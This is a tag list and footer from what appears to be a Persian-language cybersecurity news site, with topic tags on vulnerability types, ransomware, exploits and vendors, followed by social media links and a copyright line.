0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei Off By One Security out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404